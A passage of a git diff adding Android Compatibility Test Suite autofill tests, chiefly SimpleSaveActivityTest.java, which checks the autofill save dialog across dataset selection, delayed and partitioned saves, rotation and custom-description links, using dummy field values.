+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure linked activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        switch (type) {
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivityOnNewTask(PreSimpleSaveActivity.class);
+                mUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivityOnNewTask(LoginActivity.class);
+                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                mUiBot.pressBack();
+                mUiBot.assertShownByRelativeId(ID_INPUT);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity(false);
+        mActivity.mPreInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder.setCustomDescription(
+                        newCustomDescription(TrampolineWelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Go back and make sure it's showing the right activity.
+        // first BACK cancels save dialog
+        mUiBot.pressBack();
+        // second BACK cancel WelcomeActivity
+        mUiBot.pressBack();
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final CustomDescription.Builder customDescription =
+                            newCustomDescriptionBuilder(WelcomeActivity.class);
+                    final RemoteViews update = newTemplate();
+                    if (updateLinkView) {
+                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+                    } else {
+                        update.setCharSequence(R.id.static_text, "setText", "ME!");
+                    }
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_PRE_INPUT);
+                    final Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
+                    customDescription.batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update).build());
+                    builder.setCustomDescription(customDescription.build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java
new file mode 100644
index 0000000..65d85bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/SimpleSaveActivityTest.java
@@ -0,0 +1,1929 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.TEXT_LABEL;
+import static android.autofillservice.cts.testcore.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
+import static android.autofillservice.cts.testcore.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.LARGE_STRING;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.SecondActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity.FillExpectation;
+import android.autofillservice.cts.activities.TrampolineWelcomeActivity;
+import android.autofillservice.cts.activities.ViewActionActivity;
+import android.autofillservice.cts.activities.WelcomeActivity;
+import android.autofillservice.cts.commontests.CustomDescriptionWithLinkTestCase;
+import android.autofillservice.cts.testcore.AntiTrimmerTextWatcher;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.DismissType;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.MyAutofillId;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+import java.util.regex.Pattern;
+
+public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase<SimpleSaveActivity> {
+
+    private static final AutofillActivityTestRule<SimpleSaveActivity> sActivityRule =
+            new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
+
+    private static final AutofillActivityTestRule<WelcomeActivity> sWelcomeActivityRule =
+            new AutofillActivityTestRule<WelcomeActivity>(WelcomeActivity.class, false);
+
+    public SimpleSaveActivityTest() {
+        super(SimpleSaveActivity.class);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
+        return sActivityRule;
+    }
+
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(sActivityRule).around(sWelcomeActivityRule);
+    }
+
+    private void restartActivity() {
+        final Intent intent = new Intent(mContext.getApplicationContext(),
+                SimpleSaveActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mActivity.startActivity(intent);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select dataset.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+        autofillExpecation.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testAutoFillOneDatasetAndSave_largeAssistStructure() throws Exception {
+        startActivity();
+
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.mInput.setAutofillHints(LARGE_STRING, LARGE_STRING, LARGE_STRING));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        final ViewNode inputOnFill = findNodeByResourceId(fillRequest.structure, ID_INPUT);
+        final String[] hintsOnFill = inputOnFill.getAutofillHints();
+        // Cannot compare these large strings directly becauise it could cause ANR
+        assertThat(hintsOnFill).hasLength(3);
+        Helper.assertEqualsToLargeString(hintsOnFill[0]);
+        Helper.assertEqualsToLargeString(hintsOnFill[1]);
+        Helper.assertEqualsToLargeString(hintsOnFill[2]);
+
+        // Select dataset.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+        autofillExpecation.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode inputOnSave = findNodeByResourceId(saveRequest.structure, ID_INPUT);
+        assertTextAndValue(inputOnSave, "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+
+        final String[] hintsOnSave = inputOnSave.getAutofillHints();
+        // Cannot compare these large strings directly becauise it could cause ANR
+        assertThat(hintsOnSave).hasLength(3);
+        Helper.assertEqualsToLargeString(hintsOnSave[0]);
+        Helper.assertEqualsToLargeString(hintsOnSave[1]);
+        Helper.assertEqualsToLargeString(hintsOnSave[2]);
+    }
+
+    /**
+     * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
+     * tests the integration of Autofill with Accessibility.
+     */
+    @Test
+    public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+
+        // Select dataset...
+        mUiBot.selectDataset("YO");
+
+        // ...and assert autofilled values.
+        final UiObject2 input = mUiBot.assertShownByRelativeId(ID_INPUT);
+        final UiObject2 password = mUiBot.assertShownByRelativeId(ID_PASSWORD);
+
+        assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
+        // TODO: password field is shown as **** ; ideally we should assert it's a password
+        // field, but UiAutomator does not exposes that info.
+        final String visiblePassword = password.getText();
+        assertWithMessage("'password' should not be visible").that(visiblePassword)
+            .isNotEqualTo("pass");
+        assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
+
+        // Trigger save...
+        input.setText("ID");
+        password.setText("PASS");
+        mUiBot.assertShownByRelativeId(ID_COMMIT).click();
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSave() throws Exception {
+        saveTest(false);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_afterRotation() throws Exception {
+        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+        try {
+            saveTest(true);
+        } finally {
+            try {
+                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            }
+        }
+    }
+
+    private void saveTest(boolean rotate) throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        if (rotate) {
+            // After the device rotates, the input field get focus and generate a new session.
+            sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+            mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+            saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    /**
+     * Emulates an app dyanmically adding the password field after username is typed.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testPartitionedSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // 1st request
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Set 1st field but don't commit session
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
+        mUiBot.assertSaveNotShowing();
+
+        // 2nd request
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_INPUT, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+    }
+
+    /**
+     * Emulates an app using fragments to display username and password in 2 steps.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testDelayedSave() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // 1st fragment.
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE).build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger delayed save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveNotShowing();
+
+        // 2nd fragment.
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                // Must explicitly set visitor, otherwise setRequiredSavableIds() would get the
+                // id from the 1st context
+                .setVisitor((contexts, builder) -> {
+                    final AutofillId passwordId =
+                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
+                    final AutofillId inputId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
+                    builder.setSaveInfo(new SaveInfo.Builder(
+                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                            new AutofillId[] {inputId, passwordId})
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill on second "fragment"
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger delayed save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Get username from 1st request.
+        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
+        assertTextAndValue(findNodeByResourceId(structure1, ID_INPUT), "108");
+
+        // Get password from 2nd request.
+        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
+        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(structure2, ID_PASSWORD), "42");
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_launchIntent() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"))
+                .addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+
+            // Disable autofill so it's not triggered again after WelcomeActivity finishes
+            // and mActivity is resumed (with focus on mInput) after the session is closed
+            mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+
+        // ... and assert activity was launched
+        WelcomeActivity.assertShowing(mUiBot, "Saved by the bell");
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Make sure Save UI for 1st session was shown....
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Start new Activity to have a new autofill session
+        startActivityOnNewTask(LoginActivity.class);
+
+        // Make sure LoginActivity started...
+        mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "id")
+                        .setField(ID_PASSWORD, "pwd")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        // Trigger fill request on the LoginActivity
+        final LoginActivity act = LoginActivity.getCurrentActivity();
+        act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
+        sReplier.getNextFillRequest();
+
+        // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        mUiBot.waitForIdle();
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
+        // Make sure Save UI was not shown....
+        mUiBot.assertSaveNotShowing();
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
+    }
+
+    @Presubmit
+    @Test
+    public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Make sure Save UI for 1st session was shown....
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
+        // Make sure Save UI for 1st session was canceled.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...then start the new session right away (without finishing the activity).
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("");
+            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        });
+        sReplier.getNextFillRequest();
+
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveWithParcelableOnClientState() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId id = new AutofillId(42);
+        final Bundle clientState = new Bundle();
+        clientState.putParcelable("id", id);
+        clientState.putParcelable("my_id", new MyAutofillId(id));
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setExtras(clientState)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertMyClientState(saveRequest.data);
+
+        // Also check fillevent history
+        final FillEventHistory history = InstrumentedAutoFillService.getFillEventHistory(1);
+        @SuppressWarnings("deprecation")
+        final Bundle deprecatedState = history.getClientState();
+        assertMyClientState(deprecatedState);
+        assertMyClientState(history.getEvents().get(0).getClientState());
+    }
+
+    private void assertMyClientState(Bundle data) {
+        // Must set proper classpath before reading the data, otherwise Bundle will use it's
+        // on class classloader, which is the framework's.
+        data.setClassLoader(getClass().getClassLoader());
+
+        final AutofillId expectedId = new AutofillId(42);
+        final AutofillId actualId = data.getParcelable("id");
+        assertThat(actualId).isEqualTo(expectedId);
